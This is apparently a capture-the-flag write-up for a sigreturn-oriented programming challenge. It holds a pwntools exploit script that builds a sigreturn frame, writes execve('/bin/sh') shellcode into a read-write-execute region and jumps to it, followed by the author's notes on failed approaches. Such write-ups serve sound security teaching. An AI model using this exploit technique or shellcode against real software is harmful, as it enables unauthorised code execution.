Rating:

# Summary
This is a "signal return rop" or "srop" challenge. srop allows you to have complete control over every register via a sigreturn frame. pwntools is used to create the frame because it's a pain to build it manually.
The srop will allow us to write shellcode into a read-write-execute region of the binary and as the final rip register, we jump to the beginning of that shellcode.

# Solution (pwntools template)

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments

io = start()

buf_len = len(buf) # lazy way for me to get to the rip register

rwx = 0x402000
syscall = 0x40100e

t = 0x0401006 # mid-gets
p = 0x0401017 # mid-puts

shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # This shellcode doesn't work because it's it does a mov al, 0x3b which only moves 1 byte although much of rax contains other stuff so I need to overwrite at least eax
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

frame = SigreturnFrame()
frame.rdi = constants.STDIN_FILENO
frame.rip = loop
frame.rsi = 0x402500 # somewhere in the middle of rwx region
frame.rdx = 0x1000
frame.rsp = 0x402500

# We're doing a sigreturn method. Since 0x402000 is rwx
# We write 0xf via the "mid-gets" (t) - this is so that we can write stuff to a specific area without error. The main thing is needing to write an arbitrary number of bytes which during the write syscall, puts the number of bytes written into eax. That way, we can have the sigreturn up and working. Then we basically jump back to the loop but change the stack to the middle of the rwx section at 0x402000
# filler is useless here
xpl = fit({buf_len: p64(t) + p64(syscall) + bytes(frame) + p64(rwx)}, filler=b'\x90')
io.send(xpl)

# Writes the 0xf into eax via the syscall
pause()
io.send(cyclic(0xf))

# We write shellcode into the rwx section then figure out the alignment to jump back to the shellcode at the end
pause()
io.send(shellcode + cyclic(0x1fc - 18 - 9) + p64(0x402304)) # the weird cyclic() call is just to get to the rip register. I got lazy and just started adding and subtracting offsets until I got it

io.interactive()

### Other
I spent a lot of time butting my head against this binary during the CTF becuase I thought it would be a partial overwrite into the stack so I can run shellcode that's in the stack. The stack was rwx also. I kept thinking well I could try to execute shellcode on the stack- I could easily write to it but I didn't have the address- or I could write to this other rwx region in the code- I couldn't write to it easily but I did have the address. I went back and forth between the two and ultimately could neither make a partial overwrite work nor a stack leak.